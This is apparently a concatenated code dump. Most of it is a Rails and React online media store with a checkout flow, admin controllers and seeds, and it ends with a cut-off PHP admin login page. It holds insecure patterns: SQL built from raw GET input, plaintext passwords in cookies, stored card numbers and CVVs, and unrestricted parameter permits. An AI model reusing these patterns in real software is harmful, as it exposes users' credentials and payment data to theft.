input-sm numeric float required" placeholder="Discount percentage" type="number" step="any" name="bundle[discount_percentage]" id="bundle_discount_percentage" defaultValue={self.props.bundle.discount_percentage} /> </div> <label className="control-label float required" htmlFor="bundle_discount_percentage"> <abbr title="required">*</abbr> Discount percentage (%) </label> </div> </div> </div> </div> <div className="section"> <button id="bundle-form-submit" className="btn btn-default ladda-button pull-right" data-style="zoom-out" data-spinner-color="#777"> <span className="ladda-label"> <i className="fa fa-check">&nbsp;</i> Save </span> </button> <div className="clearfix" /> </div> </form> </div> ); } }<file_sep>/app/controllers/api/products_controller.rb class Api::ProductsController < ApplicationController def search query = params[:q] render json: Product.search_by_title(query).limit(10) end end <file_sep>/db/seeds.rb if User.count === 0 User.new.tap do |user| user.name = Faker::Name.name user.email = "<EMAIL>" user.password = "<PASSWORD>" user.skip_confirmation! user.save! end User.new.tap do |user| user.name = Faker::Name.name user.email = "<EMAIL>" user.password = "<PASSWORD>" user.skip_confirmation! user.admin = true user.save! end end if Product.count == 0 user = User.where(admin: false).first [Film, Game, Music].each do |klass| klass.categories.keys.each do |category| 10.times do |no| product = klass.new.tap do |p| p.title = Faker::Commerce.product_name p.description = Faker::Lorem.paragraph(2) p.price = Faker::Commerce.price p.category = category p.featured = no < 3 p.image = File.open("app/assets/images/#{klass.to_s.downcase}#{no%3 + 1}.jpg") p.save! 3.times.each do p.reviews.create!(user: user, rating: (1..5).to_a.shuffle.first, message: Faker::Lorem.paragraph) end end product end end end end if News.count == 0 20.times do |no| News.new.tap do |news| news.title = Faker::Commerce.product_name news.description = Faker::Lorem.paragraph(2) news.image = File.open("app/assets/images/news#{no%3 + 1}.jpg") news.save! end end end <file_sep>/app/assets/javascripts/components/checkout.jsx class Checkout extends React.Component { constructor(props) { super(props); this.state = { step: 1, showBillingInfo: false, firstStepValid: true, secondStepValid: true, thirdStepValid: true, billingInfo: { first_name: "", last_name: "", email: "", phone: "", address: "", city: "", postal_code: "", country: "Algeria" }, shippingInfo:{ first_name: "", last_name: "", phone: "", address: "", city: "", postal_code: "", country: "Algeria" }, paymentInfo:{ first_name: "", last_name: "", accunt_number: "", cvv: "", expiration_date_month: "", expiration_date_year: "" } }; } componentDidMount(){ $('[data-toggle="tooltip"]').tooltip(); $(".remove-item").remove(); // Don't allow bascket edits anymore } activateStep(step, e){ if(e){ e.preventDefault(); e.stopPropagation(); } this.setState({step: step}); } renderSteps(){ return( <div> {this.renderFirstStep()} {this.renderSecondStep()} {this.renderThirdStep()} </div> ); } handleInputChange(obj, e){ var name = e.target.name, value = e.target.type === 'checkbox' ? e.target.checked : e.target.value; this.state[obj][name] = value; this.setState(this.state); } validateFirstStep(e){ e.preventDefault(); e.stopPropagation(); var billingInfo = this.state.billingInfo, shippingInfo = this.state.shippingInfo, valid = false; if(billingInfo.first_name.trim() != "" && billingInfo.last_name.trim() != "" && billingInfo.email.trim() != "" && billingInfo.phone.trim() != "" && billingInfo.address.trim() != "" && billingInfo.city.trim() != "" && billingInfo.postal_code.trim() != "" && billingInfo.country.trim() != ""){ if(this.state.showBillingInfo){ if(shippingInfo.first_name.trim() != "" && shippingInfo.last_name.trim() != "" && shippingInfo.phone.trim() != "" && shippingInfo.address.trim() != "" && shippingInfo.city.trim() != "" && shippingInfo.postal_code.trim() != "" && shippingInfo.country.trim() != ""){ valid = true; } }else{ valid = true; } } if(valid){ this.state.firstStepValid = true; this.activateStep(2); }else{ alert("All fields are required!"); this.state.firstStepValid = false; this.setState(this.state); } } validateSecondStep(e){ e.preventDefault(); e.stopPropagation(); this.activateStep(3); } validateThirdStep(e){ e.preventDefault(); e.stopPropagation(); var paymentInfo = this.state.paymentInfo, valid = false; if(paymentInfo.first_name.trim() != "" && paymentInfo.last_name.trim() != "" && paymentInfo.accunt_number.trim() != "" && paymentInfo.cvv.trim() != "" && paymentInfo.expiration_date_month.trim() != "" && paymentInfo.expiration_date_year.trim() != ""){ valid = true; } if(valid){ this.state.thirdStepValid = true; this.saveForm(); }else{ alert("All fields are required!"); this.state.thirdStepValid = false; this.setState(this.state); } } saveForm(){ order = { billing_information: this.state.billingInfo, shipping_information: this.state.shippingInfo, payment_information: this.state.paymentInfo, shipping_cost: 5, shipping_method: "Sample shipping method", ship_to_same_address: !this.state.showBillingInfo } $.ajax({ type: "post", url: "/orders", data: {order: order}, success: function(data){ window.location.href = "/orders/receipt"; }, failure: function(data){ alert("Fail to place order!") } }); } toggleShowBillingInfo(e){ e.preventDefault(); e.stopPropagation(); this.setState({showBillingInfo: !this.state.showBillingInfo}); } renderFirstStep(){ var stepContainerClass = this.state.step === 1 ? "col-sm-12 col-md-9" : "col-sm-12 col-md-9 hide", billingInfo = this.state.billingInfo, shippingInfo = this.state.shippingInfo, shippingContainerClass = this.state.showBillingInfo ? "row" : "row hide"; return( <div className={stepContainerClass}> <div id="checkout-page"> <form className="custom"> <h2>Billing Information</h2> <div id="billing-info" className="row"> <div className={!this.state.firstStepValid && billingInfo.first_name.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" } > <input data-mirror="" type="text" className="form-control" name="first_name" value={billingInfo.first_name} onChange={this.handleInputChange.bind(this, "billingInfo")} placeholder="<NAME>"/> <label htmlFor="billing_firstName">First Name</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && billingInfo.last_name.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input data-mirror="" type="text" className="form-control" name="last_name" value={billingInfo.last_name} onChange={this.handleInputChange.bind(this, "billingInfo")} placeholder="<NAME>"/> <label htmlFor="billing_lastName">Last Name</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && billingInfo.email.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input type="email" className="form-control" name="email" value={billingInfo.email} onChange={this.handleInputChange.bind(this, "billingInfo")} placeholder="E-mail Address"/> <label htmlFor="billing_email">E-mail Address</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && billingInfo.phone.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input data-mirror="" type="text" className="form-control" name="phone" value={billingInfo.phone} onChange={this.handleInputChange.bind(this, "billingInfo")} placeholder="Phone Number"/> <label htmlFor="billing_phone">Phone Number</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && billingInfo.address.trim() === "" ? "col-sm-12 form-group has-error" : "col-sm-12 form-group" }> <input data-mirror="" type="text" className="form-control" name="address" value={billingInfo.address} onChange={this.handleInputChange.bind(this, "billingInfo")} placeholder="Address"/> <label htmlFor="billing_address">Address</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && billingInfo.city.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input data-mirror="" type="text" className="form-control" name="city" value={billingInfo.city} onChange={this.handleInputChange.bind(this, "billingInfo")} placeholder="City"/> <label htmlFor="billing_city">City</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && billingInfo.postal_code.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input data-mirror="" type="text" className="form-control" name="postal_code" value={billingInfo.postal_code} onChange={this.handleInputChange.bind(this, "billingInfo")} placeholder="Zip Code"/> <label htmlFor="billing_postalCode">Zip Code</label> <span className="error"></span> </div> <div className="col-sm-6 form-group"> <label htmlFor="billing_country">Country</label> <select className="chzn-select form-control" name="country" value={billingInfo.country} onChange={this.handleInputChange.bind(this, "billingInfo")}> <option value="Algeria">Algeria</option> <option value="Brazil">Brazil</option> <option value="Canada">Canada</option> <option value="Cape Verde">Cape Verde</option> <option value="China">China</option> <option value="Czech Republic">Czech Republic</option> <option value="Egypt">Egypt</option> <option value="France">France</option> <option value="United Kingdom">United Kingdom</option> <option value="United States">United States</option> <option value="Zambia">Zambia</option> <option value="Zimbabwe">Zimbabwe</option> </select> <span className="error"></span> </div> </div> <h2 className="inline-block">Shipping Information</h2> <div className="h6"> <a className="btn btn-default" href="#" onClick={this.toggleShowBillingInfo.bind(this)}> {!this.state.showBillingInfo && <i className="fa fa-check"></i> } {this.state.showBillingInfo && <i className="fa" style={{visibility: "hidden"}}></i> } </a> &nbsp; Same as Billing Information </div> <div id="shipping-info" className={shippingContainerClass}> <div className={!this.state.firstStepValid && shippingInfo.first_name.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input data-mirror="" type="text" className="form-control" name="first_name" value={shippingInfo.first_name} onChange={this.handleInputChange.bind(this, "shippingInfo")} placeholder="<NAME>"/> <label htmlFor="shipping_firstName">First Name</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && shippingInfo.last_name.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input data-mirror="" type="text" className="form-control" name="last_name" value={shippingInfo.last_name} onChange={this.handleInputChange.bind(this, "shippingInfo")} placeholder="<NAME>"/> <label htmlFor="shipping_lastName">Last Name</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && shippingInfo.phone.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input data-mirror="" type="text" className="form-control" name="phone" value={shippingInfo.phone} onChange={this.handleInputChange.bind(this, "shippingInfo")} placeholder="Phone Number"/> <label htmlFor="shipping_phone">Phone Number</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && shippingInfo.address.trim() === "" ? "col-sm-12 form-group has-error" : "col-sm-12 form-group" }> <input data-mirror="" type="text" className="form-control" name="address" value={shippingInfo.address} onChange={this.handleInputChange.bind(this, "shippingInfo")} placeholder="Address"/> <label htmlFor="shipping_address">Address</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && shippingInfo.city.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input data-mirror="" type="text" className="form-control" name="city" value={shippingInfo.city} onChange={this.handleInputChange.bind(this, "shippingInfo")} placeholder="City"/> <label htmlFor="shipping_city">City</label> <span className="error"></span> </div> <div className={!this.state.firstStepValid && shippingInfo.postal_code.trim() === "" ? "col-sm-6 form-group has-error" : "col-sm-6 form-group" }> <input data-mirror="" type="text" className="form-control" name="postal_code" value={shippingInfo.postal_code} onChange={this.handleInputChange.bind(this, "shippingInfo")} placeholder="Zip Code"/> <label htmlFor="shipping_postalCode">Zip Code</label> <span className="error"></span> </div> <div className="col-sm-6 form-group"> <label htmlFor="shipping_country">Country</label> <select data-mirror="" className="chzn-select form-control" name="country" value={shippingInfo.country} onChange={this.handleInputChange.bind(this, "shippingInfo")}> <option value="Algeria">Algeria</option> <option value="Brazil">Brazil</option> <option value="Canada">Canada</option> <option value="Cape Verde">Cape Verde</option> <option value="China">China</option> <option value="Czech Republic">Czech Republic</option> <option value="Egypt">Egypt</option> <option value="France">France</option> <option value="United Kingdom">United Kingdom</option> <option value="United States">United States</option> <option value="Zambia">Zambia</option> <option value="Zimbabwe">Zimbabwe</option> </select> <span className="error"></span> </div> </div> <div className="clearfix"> <a className="btn btn-primary btn-lg btn-checkout-step pull-right" href="#" onClick={this.validateFirstStep.bind(this)} >Next Step <i className="fa fa-arrow-right"></i></a> </div> </form> </div> </div> ); } renderSecondStep(){ var stepContainerClass = this.state.step === 2 ? "col-sm-12 col-md-9" : "col-sm-12 col-md-9 hide"; return( <div className={stepContainerClass}> <div id="checkout-page"> <div className="custom"> <h2>Shipping Method</h2> <input type="hidden" name="shippingMethod" /> <table className="table table-bordered" id="shipping-methods"> <tbody> <tr> <td> <div className="h6"> <a className="btn btn-default" href="javascript:;"> <i className="fa fa-check"></i> </a> &nbsp; Sample shipping method </div> </td> <td className="narrow"> <span className="h3"> $5.00 </span> </td> </tr> </tbody> </table> <div className="clearfix"> <a className="btn btn-default btn-lg btn-checkout-step pull-left" href="#" onClick={this.activateStep.bind(this, 1)}><i className="fa fa-arrow-left fa-arrow-right" /> Previous Step</a> <a className="btn btn-primary btn-lg btn-checkout-step pull-right" href="#" onClick={this.validateSecondStep.bind(this)} >Next Step <i className="fa fa-arrow-right" /></a> </div> </div> </div> </div> ); } renderThirdStep(){ var stepContainerClass = this.state.step === 3 ? "col-sm-12 col-md-9" : "col-sm-12 col-md-9 hide", paymentInfo = this.state.paymentInfo; return( <div className={stepContainerClass}> <div id="checkout-page"> <h2>Payment Method</h2> <div id="payment_form"> <h6>This is a test payment method. Never use your real credit card information in this form.</h6> <div> <div className="form row"> <div className={!this.state.thirdStepValid && paymentInfo.first_name.trim() === "" ? "col-sm-6 form-group text left has-error" : "col-sm-6 form-group text left" }> <input className="form-control" autoComplete="off" name="first_name" id="FIRSTNAME" type="text" placeholder="<NAME>" value={paymentInfo.first_name} onChange={this.handleInputChange.bind(this, "paymentInfo")} /> <label htmlFor="FIRSTNAME"><NAME> Name</label> </div> <div className={!this.state.thirdStepValid && paymentInfo.last_name.trim() === "" ? "col-sm-6 form-group text right has-error" : "col-sm-6 form-group text right" }> <input className="form-control" autoComplete="off" name="last_name" id="LASTNAME" type="text" placeholder="<NAME>" value={paymentInfo.last_name} onChange={this.handleInputChange.bind(this, "paymentInfo")}/> <label htmlFor="LASTNAME"><NAME> Name</label> </div> <div className={!this.state.thirdStepValid && paymentInfo.accunt_number.trim() === "" ? "col-sm-6 form-group text valid has-error" : "col-sm-6 form-group text valid" }> <input className="form-control credit-card-input" autoComplete="off" name="accunt_number" id="ACCT" type="text" placeholder="Credit Card Number" value={paymentInfo.accunt_number} onChange={this.handleInputChange.bind(this, "paymentInfo")}/> <label htmlFor="ACCT">visa <i className="fa fa-check-circle" /></label> </div> <div className={!this.state.thirdStepValid && paymentInfo.cvv.trim() === "" ? "col-sm-6 form-group text helper has-error" : "col-sm-6 form-group text helper" }> <input className="form-control" autoComplete="off" name="cvv" id="CVV2" type="text" placeholder="CVV2" value={paymentInfo.cvv} onChange={this.handleInputChange.bind(this, "paymentInfo")} /> <label htmlFor="CVV2">CVV2</label> <i className="fa fa-question" data-container="body" data-toggle="tooltip" title="For MasterCard, Visa, and Discover, the CSC is the last three digits in the signature area on the back of your card. For American Express, it's the four digits on the front of the card." /> </div> <div className={!this.state.thirdStepValid && paymentInfo.expiration_date_month.trim() === "" ? "col-sm-6 form-group select left has-error" : "col-sm-6 form-group select left" }> <input className="form-control" type="text" name="expiration_date_month" id="EXPDATE_MONTH" placeholder="Expiration Date - Month" value={paymentInfo.expiration_date_month} onChange={this.handleInputChange.bind(this, "paymentInfo")}/> <label htmlFor="EXPDATE_MONTH">Expiration Date - Month</label> </div> <div className={!this.state.thirdStepValid && paymentInfo.expiration_date_month.trim() === "" ? "col-sm-6 form-group text right has-error" : "col-sm-6 form-group text right" }> <input className="form-control" type="text" name="expiration_date_year" id="EXPDATE_YEAR" placeholder="Expiration Date - Year" value={paymentInfo.expiration_date_year} onChange={this.handleInputChange.bind(this, "paymentInfo")} /> <label htmlFor="EXPDATE_YEAR">Expiration Date - Year</label> </div> </div> <div className="clearfix"> <a className="btn btn-default btn-lg btn-checkout-step pull-left" href="#" onClick={this.activateStep.bind(this, 2)}><i className="fa fa-arrow-left" /> Previous Step</a> <button className="btn btn-danger solid btn-lg btn-checkout-step pull-right" onClick={this.validateThirdStep.bind(this)} >Pay Now <i className="fa fa-money" /></button> </div> </div> </div> </div> </div> ); } renderCartInfo(){ var total = this.state.step == 3 ? this.props.cartTotal+5 : this.props.cartTotal return( <div id="cart-totals" className="col-sm-12 col-md-3"> <div id="cart-summary"> <h3 className="cart-summary-title">Order Summary</h3> <ul className="price-list list-group"> <li className="list-group-item">Subtotal: <span className="badge">${this.props.cartTotal}</span></li> { this.state.step===3 && <li className="list-group-item">Shipping: <span className="badge">$5.00</span></li> } <li className="list-group-item">Tax: <span className="badge">$0.00</span></li> <li className="list-group-item order-total h4 clearfix"><span>Total:</span> <span className="badge">${total}</span></li> </ul> </div> </div> ); } render() { var widget = this, secondStepClass = this.state.step > 1 ? "active" : "", thirdStepClass = this.state.step > 2 ? "active" : "" ; return( <div> <div id="banner" className="jumbotron row"> <h1>Checkout</h1> </div> <section id="checkout" className="page-section row"> <div id="checkout-progress"> <ul className="breadcrumb list-inline checkout-progress"> <li className="active">1. Billing Address</li> <li className={secondStepClass} >2. Shipping Method</li> <li className={thirdStepClass} >3. Pay</li> </ul> </div> {widget.renderSteps()} {widget.renderCartInfo()} </section> </div> ); } } <file_sep>/db/migrate/20170823231142_create_payment_informations.rb class CreatePaymentInformations < ActiveRecord::Migration[5.1] def change create_table :payment_informations do |t| t.string :first_name t.string :last_name t.string :account_number t.string :cvv t.integer :expiration_date_month t.integer :expiration_date_year t.belongs_to :order t.timestamps end end end <file_sep>/app/helpers/application_helper.rb module ApplicationHelper def controller?(*controller) controller.include?(params[:controller]) end def action?(*action) action.include?(params[:action]) end def bootstrap_class_for flash_type { success: "alert-success", error: "alert-danger", alert: "alert-warning", notice: "alert-info" }[flash_type] || flash_type.to_s end def flash_messages(opts = {}) flash.each do |msg_type, message| concat(content_tag(:div, message, class: "alert #{bootstrap_class_for(msg_type.to_sym)} fade in") do concat content_tag(:button, 'x', class: "close", data: { dismiss: 'alert' }) if message.is_a?(Array) message.each do |m| concat content_tag(:div, m) end else concat message end end) end nil end def tinymce(config=:default, options={}) javascript_tag { tinymce_javascript(config, options) } end # Returns the JavaScript code required to initialize TinyMCE. def tinymce_javascript(config=:default, options={}) <<-JAVASCRIPT.strip_heredoc.html_safe (function() { function initTinyMCE() { if (typeof tinyMCE != 'undefined') { tinyMCE.init(#{to_javascript(tinymce_configuration(config, options)).gsub(/^/, ' ' * 12).sub(/\A\s+/, "")}); } else { setTimeout(initTinyMCE, 50); } } initTinyMCE(); })(); JAVASCRIPT end # Returns the TinyMCE configuration object. # It should be converted to JavaScript (via #to_javascript) for use within JavaScript. def tinymce_configuration(config=:default, options={}) {selector:'.tinymce', menubar: false, min_height: 170, max_height: 220, branding: false}.merge(options) end def to_javascript(options) pairs = options.inject([]) do |result, (k, v)| if v.respond_to?(:to_javascript) v = v.to_javascript elsif v.respond_to?(:to_json) v = v.to_json end result << [k, v].join(": ") end "{\n #{pairs.join(",\n ")}\n}" end def nav_name_for product product.class.to_s.downcase.pluralize end def review_time review review.created_at.strftime("%I:%M %P") end def review_date review review.created_at.strftime("%-d %b %Y") end end <file_sep>/app/models/music.rb class Music < Product enum category: [:"Rock & Pop", :Classical, :"Rock & Roll", :Blues, :"R&B & Soul", :Metal, :Dance, :"Easy Listening", :Country, :Jazz, :"Rock Pop", :Folk, :"Rap & Hip-Hop", :Reggae, :"Rock&Roll", :Soundtracks, :"Spoken Word"] enum format: [:"CD Box Set", :"CD Album", :"Vinyl 12\" Box Set", :"Vinyl 12\" Album", :"CD/DVD Album", :"7\" Vinyl Single Box Set", :"12\" Vinyl/CD Album", :"CD/Blu-ray Album", :"CD/DVD/Blu-ray Album", :"12\" Vinyl Single", :"12\" Vinyl/DVD Album", :CD, :"SACD/DVD Album", :Vinyl] end <file_sep>/app/controllers/admin/admin_controller.rb class Admin::AdminController < ApplicationController layout 'admin_application' before_action :authenticate_admin! protected def authenticate_admin! redirect_to new_user_session_path unless user_signed_in? && current_user.admin? end end <file_sep>/spec/factories/bundle_products.rb FactoryGirl.define do factory :bundle_product do end end <file_sep>/db/migrate/20170822165224_change_price_column_type_for_product.rb class ChangePriceColumnTypeForProduct < ActiveRecord::Migration[5.1] def change change_column :products, :price, 'float USING price::double precision' end end <file_sep>/app/controllers/orders_controller.rb class OrdersController < ApplicationController before_action :authenticate_user! def create data = cart.data order = nil ActiveRecord::Base.transaction do order = current_user.orders.create!(order_params.merge({ total_price: data[:total] })) BillingInformation.create!(billing_params.merge(order: order)) ShippingInformation.create!(shipping_params.merge(order: order)) unless order.ship_to_same_address PaymentInformation.create!(payment_params.merge(order: order)) data[:items].each do |item| order.line_items.create!(product_id: item[:id], quantity: item[:count]) end end # Send email with receipt to user UserMailer.receipt_summary(order).deliver_now if order && order.persisted? session[:cart] = {} # Clear shopping cart render json: [], status: 200 end def receipt @order = Order.includes(:line_items).last redirect_to root_path and return unless @order end private def cart @cart ||= Cart.new(session[:cart]) end def order_params params.require(:order).permit(:shipping_cost, :shipping_method, :ship_to_same_address) end def billing_params params.require(:order).require(:billing_information).permit(:first_name, :last_name, :email, :phone, :address, :city, :postal_code, :country) end def shipping_params params.require(:order).require(:shipping_information).permit(:first_name, :last_name, :phone, :address, :city, :postal_code, :country) end def payment_params params.require(:order).require(:payment_information).permit(:first_name, :last_name, :account_number, :cvv, :expiration_date_month, :expiration_date_year) end end <file_sep>/app/controllers/admin/news_controller.rb class Admin::NewsController < Admin::AdminController def index @news = News.page(params[:page]) end def new @news = News.new end def show @news = News.find(params[:id]) end def create @news = News.new(news_params) if @news.save redirect_to admin_news_index_path else flash[:error] = @news.errors.full_messages.to_sentence redirect_to new_admin_news_path end end def update @news = News.find(params[:id]) if @news.update_attributes(news_params) redirect_to admin_news_path(@news) else flash[:error] = @news.errors.full_messages.to_sentence redirect_to admin_news_path(@news) end end def destroy @news = News.find(params[:id]) @news.destroy redirect_to admin_bundles_path end protected def news_params params.require(:news).permit! end end <file_sep>/app/controllers/products_controller.rb class ProductsController < ApplicationController before_action :load_class def home @products = Product.featured.take(3) @featured = @products.any? unless @featured @products = Product.take(3) end end def autocomplete products = Product.search_by_title(params[:term]).with_pg_search_highlight render json: products.map {|p| { id: p.id, title: p.title, image_url: p.image_url, price: p.price } }, status: 200 end def index @products = @klass.page(params[:page]).per(6) if @category = params[:category] @products = @products.by_category(@category) end @categories = @klass.categories.keys @products_categories_count = @klass.group(:category).count @type = params[:type] end def show @product = Product.find params[:id] @reviews = @product.reviews.includes(:user) @reviews_rating = @reviews.average_rating @review = @product.reviews.new if current_user end def search @search = params[:keyward] @products = Product.search(@search) end protected def load_class @klass = params[:type].singularize.classify.constantize rescue Product end end <file_sep>/app/controllers/admin/products_controller.rb class Admin::ProductsController < Admin::AdminController before_action :constrain_type before_action :require_type, only: [:new, :create] before_action :load_class, only: [:index, :new, :create] def index @products = @klass.page(params[:page]) if params[:category] @products = @products.by_category(params[:category]) end end def show @product = Product.find(params[:id]) end def new @product = @klass.new end def create @product = @klass.new product_params if @product.save redirect_to admin_products_path else render :new end end def update @product = Product.find(params[:id]) if @product.update_attributes(product_params) redirect_to admin_product_path(@product) else render :show end end protected def load_class @klass = params[:type].singularize.classify.constantize rescue Product end def product_params case params[:type] when 'film' film_params when 'music' music_params when 'game' game_params end end def film_params params.require(:film).permit(:title, :description, :category, :price, :duration, :number_of_discs, :format, :image) end def music_params params.require(:film).permit(:title, :description, :category, :price, :format, :released_at, :image) end def game_params params.require(:film).permit(:title, :description, :category, :price, :released_at, :image) end def constrain_type head(:bad_request) if params[:type].present? && !(params[:type] =~ /^(#{Product::TYPES.join('|')})$/) end def require_type head(:bad_request) if !params[:type].present? end end <file_sep>/app/controllers/news_controller.rb class NewsController < ApplicationController def index @news = News.page(params[:page] || 1).per(6) end end <file_sep>/app/models/order.rb class Order < ApplicationRecord enum status: [:open, :fulfilled, :cancelled] # Relations belongs_to :user has_many :line_items has_one :billing_information has_one :shipping_information has_one :payment_information def total self.line_items.map(&:product).map(&:price).sum + self.shipping_cost end def fulfill self.fulfilled! end def cancel self.cancelled! end end <file_sep>/app/models/shipping_information.rb class ShippingInformation < ApplicationRecord belongs_to :order end <file_sep>/app/controllers/checkout_controller.rb class CheckoutController < ApplicationController def index @cart_empty = cart.empty? @cart_total = cart.total end private def cart @cart ||= Cart.new(session[:cart]) end end <file_sep>/app/controllers/carts_controller.rb class CartsController < ApplicationController def index @cart = cart.data end def info render json: cart.data, status: 200 end def add product = cart.add_product(params[:id], params[:count], params[:set]) session[:cart] = cart.info render json: cart.data, status: 200 end def remove cart.remove_product(params[:id]) session[:cart] = cart.info render json: cart.data, status: 200 end private def cart @cart ||= Cart.new(session[:cart]) end end <file_sep>/spec/factories/reviews.rb FactoryGirl.define do factory :review do rating 1 review "MyText" end end <file_sep>/app/assets/javascripts/main.js (function(){ $(document).ready(function() { // Product increment/decrement count $(document).on('click', '.quantity-selector .minus', function(e) { e.preventDefault(); e.stopPropagation(); var $el = $(this).siblings('.quantity'), q = parseInt($el.val())-1; if (q >= 1) { $el.val(q); if($(this).hasClass("js-cart")){ updateCartItem(this, q); } } }); $(document).on('click', '.quantity-selector .plus', function(e) { e.preventDefault(); e.stopPropagation(); var $el = $(this).siblings('.quantity'), q = parseInt($el.val())+1; $el.val(q); if($(this).hasClass("js-cart")){ updateCartItem(this, q); } }); var winWidth = $(window).width(); $(window).resize(function() { winWidth = $(window).width(); }); // News scroll $('.scroll-perfect').perfectScrollbar(); }); })(jQuery);
b9cd7d72a07f986fabdb4d66eb44b938a2d95137
[ "JavaScript", "Ruby", "Markdown" ]
41
Ruby
Rubikal/ent-me
386acc2667a58657af9d148830d6a19abeb1304c
8bf02383a6af594db709af1e51a2d8941f1b33f4
refs/heads/master
<repo_name>frankjoshua/docker-ros-encoders<file_sep>/node.py #!/usr/bin/env python import rospy import serial import os from std_msgs.msg import Int32 ROS_NODE = os.getenv('ROS_NODE') def encoder(): leftWheel = rospy.Publisher('left_wheel', Int32, queue_size=0) rightWheel = rospy.Publisher('right_wheel', Int32, queue_size=0) rospy.init_node(ROS_NODE) ser = serial.Serial('/dev/ttyACM0', 115200, timeout=.2) rate = rospy.Rate(10) # 10hz while not rospy.is_shutdown(): # make sure serial data is clean ser.flushInput() ser.readline() # read data line = ser.readline()[:-2].decode('utf-8') # Publish data data = line.split(",") leftWheel.publish(int(data[0])) rightWheel.publish(int(data[1])) rate.sleep() if __name__ == '__main__': try: encoder() except rospy.ROSInterruptException: pass<file_sep>/README.md # ROS encoders in Docker [![](https://img.shields.io/docker/pulls/frankjoshua/ros-encoders)](https://hub.docker.com/r/frankjoshua/ros-encoders) [![Build Status](https://travis-ci.org/frankjoshua/docker-ros-encoders.svg?branch=master)](https://travis-ci.org/frankjoshua/docker-ros-encoders) ## Description Publishes topics:<br> /left_wheel (Int32)<br> /right_wheel (Int32)<br> Parses CSV output from an Arduino over serial<br> Example Arduino Code:<br> [https://github.com/frankjoshua/arduino-dual-ls7366r](https://github.com/frankjoshua/arduino-dual-ls7366r) ## Example ``` docker run -it \ --network="host" \ --env="ROS_IP=$ROS_IP" \ --env="ROS_MASTER_URI=$ROS_MASTER_URI" \ --device "/dev/ttyACM1:/dev/ttyACM0" frankjoshua/ros-encoders ``` ## Testing Travis CI expects the DOCKER_USERNAME and DOCKER_PASSWORD variables to be set in your environment. ## License Apache 2.0 ## Author Information <NAME> [@frankjoshua77](https://www.twitter.com/@frankjoshua77) <br> [http://roboticsascode.com](http://roboticsascode.com) <file_sep>/Dockerfile FROM ros:noetic-ros-base RUN apt-get update &&\ apt-get install -y python3-pip &&\ apt-get -y clean &&\ apt-get -y purge &&\ rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* RUN python3 -m pip install pyserial COPY node.py / ENV ROS_NODE=encoders HEALTHCHECK CMD /ros_entrypoint.sh rosnode info $ROS_NODE || exit 1 CMD ["python3", "/node.py"]
28063a317d7f74cc45a3dc22b49dff4eeff26d85
[ "Markdown", "Python", "Dockerfile" ]
3
Python
frankjoshua/docker-ros-encoders
1b10e145017760423cd9bd7932d668c92e65c6b3
cf59d97285439184dd8614777d591e475f47ab23
refs/heads/master
<file_sep>from django.contrib import admin from .models import FoodStore , Item # Register your models here. admin.site.register(FoodStore) admin.site.register(Item)
3dec1ad560a6d1c86ab2574cfaf78f4a7924f725
[ "Python" ]
1
Python
downt0earth/rest-basics
70e0345977047e774da4fd547575c59e9cda3107
08d2a0ee0997de0661201f563e395def94185323
refs/heads/master
<repo_name>DmitryChugaevsky/DmitryChugaevsky.github.io<file_sep>/admin.php <?php include ("connect.php"); if($_GET[ABC]==1) { $q=mysql_query("SELECT * FROM admin WHERE login='$_GET[login]' AND pass='$_GET[pass]' "); $n=mysql_num_rows($q); if($n>0){ setcookie("login", $_GET[login]); $_COOKIE["login"]=$_GET["login"]; setcookie("pass", $_GET[pass]); $_COOKIE["pass"]=$_GET["pass"]; } } if($_COOKIE["login"]<>"" and $_COOKIE["pass"]<>"") { $l=$_COOKIE["login"]; $p=$_COOKIE["pass"]; $q=mysql_query("SELECT * FROM admin WHERE login='$l' AND pass='$p'"); $n=mysql_num_rows($q); if($n==1) { $login=1; } } ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>Документ без названия</title> <style type="text/css"> * { font-family:Calibri; font-size: 24px} p5 {font-size: 50px; color: rgba(181,71,73,1.00)} p2 {font-size: 26px; color: rgba(130,161,111,1.00)} fieldset { margin-bottom: 15px; padding: 10px } legend { padding: 0px 3px; font-weight: bold; font-variant: small-caps; font-size:24px } * { font-family: GABRIOLA ; font-size: 24px} a { font-family: GABRIOLA ; font-size: 80px} body { background: } </style> <style> .center { width: 300px; padding:10px; border:1px; margin:auto; background:rgba(228,42,45,1.00); display:table; text-align:center; } td { padding:5px; text-align:center; } .col1{background:#2D3639;} .col2{background:#2D3639;} .col3{background:#2D3639;} </style> </head> <body> <div class='center'> <a href="admin.php?x=1">Операции с товаром</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="admin.php?x=2">Выход</a> </div> <div class="auth"> <?php if($login==1) { echo "Успешно"; } else { include "auth.php";//connect to outside file with authorization fields } if ($_GET[x]==1 && $login==1) { echo"<center><h3><p5>Регистрация товара:</p5></h3></center>"; echo "<form enctype='multipart/form-data' action='admin.php' method='post'>"; echo "<center><input type='text' name='name' size='28' placeholder='Название'>"; echo"<input type='text' name='opis' size='28' placeholder='Описание'> <input type='text' name='cena' size='28' placeholder='цена'><input name='userfile' type='file'></center>"; echo "<input type='hidden' name='Entered' value='1'>"; echo"<input type='submit' value='отправить'>"; echo "</div>"; } if ($_POST[Entered]!="" && $login==1) { 